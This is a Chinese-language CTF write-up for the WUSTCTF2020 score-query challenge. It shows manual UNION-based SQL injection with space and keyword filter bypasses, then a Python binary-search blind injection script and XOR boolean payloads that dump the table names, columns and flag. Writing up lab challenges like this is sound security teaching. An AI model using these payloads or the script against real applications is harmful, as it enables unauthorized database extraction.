[WUSTCTF2020]颜值成绩查询
[WUSTCTF2020]颜值成绩查询
打开环境是一个成绩查询的页面
1.手工注入
输入1发现有admin的账号和得分
输入1'会提示学号不存在
1/**/or/**/1=1#
过滤了空格
1/**/order/**/by/**/3# 存在
1/**/order/**/by/**/4# 不存在
由此得知有3个字段
1/**/union/**/select/**/1,2,3#
发现还有其他过滤,尝试大小写或者双写等绕过
-1/**/Union/**/Select/**/1,2,3#
#爆破表名
-1/**/Union/**/Select/**/1,2,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()#
#爆破字段名
-1/**/UNion/**/Select/**/1,2,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name='flag'#
#爆破flag值
-1/**/UNion/**/Select/**/1,value,flag/**/from/**/flag#
2.脚本注入
使用二分法脚本加快注入速度
(1)爆破数据库名
import requests
url = "http://9158edab-48ba-4b19-ac3d-5aa53b39e49c.node5.buuoj.cn:81/?stunum="
result = ""
i = 0
while( True ):
i = i + 1
head=32
tail=127
while( head < tail ):
mid = (head + tail) >> 1
payload = "if(ascii(substr(database(),%d,1))>%d,1,0)" % (i , mid)
r = requests.get(url+payload)
r.encoding = "utf-8"
#print(url+payload)
if "your score is: 100" in r.text :
head = mid + 1
else:
#print(r.text)
tail = mid
last = result
if head!=32:
result += chr(head)
else:
break
print(result)
(2)爆破数据表名
payload更换为
payload = "if(ascii(substr((select/**/group_concat(table_name)from(information_schema.tables)where(table_schema=database())),%d,1))>%d,1,0)" % (i , mid)
(3)爆破字段名
payload更换为
payload = "if(ascii(substr((select/**/group_concat(column_name)from(information_schema.columns)where(table_name='flag')),%d,1))>%d,1,0)" % (i , mid)
(4)爆破flag值
payload更换为
payload = "if(ascii(substr((select/**/group_concat(value)from(flag)),%d,1))>%d,1,0)" % (i , mid)
对于payload也可以使用异或的方式
#获取表名
1^(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)='ctf'),%d,1))>%d)^1″%(i,j)
#获取字段名
1^(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='flag')),%d,1))>%d)^1″%(i,j)
#获取值
1^(ord(substr((select(group_concat(value))from(flag)),%d,1))>%d)^1″%(i,j)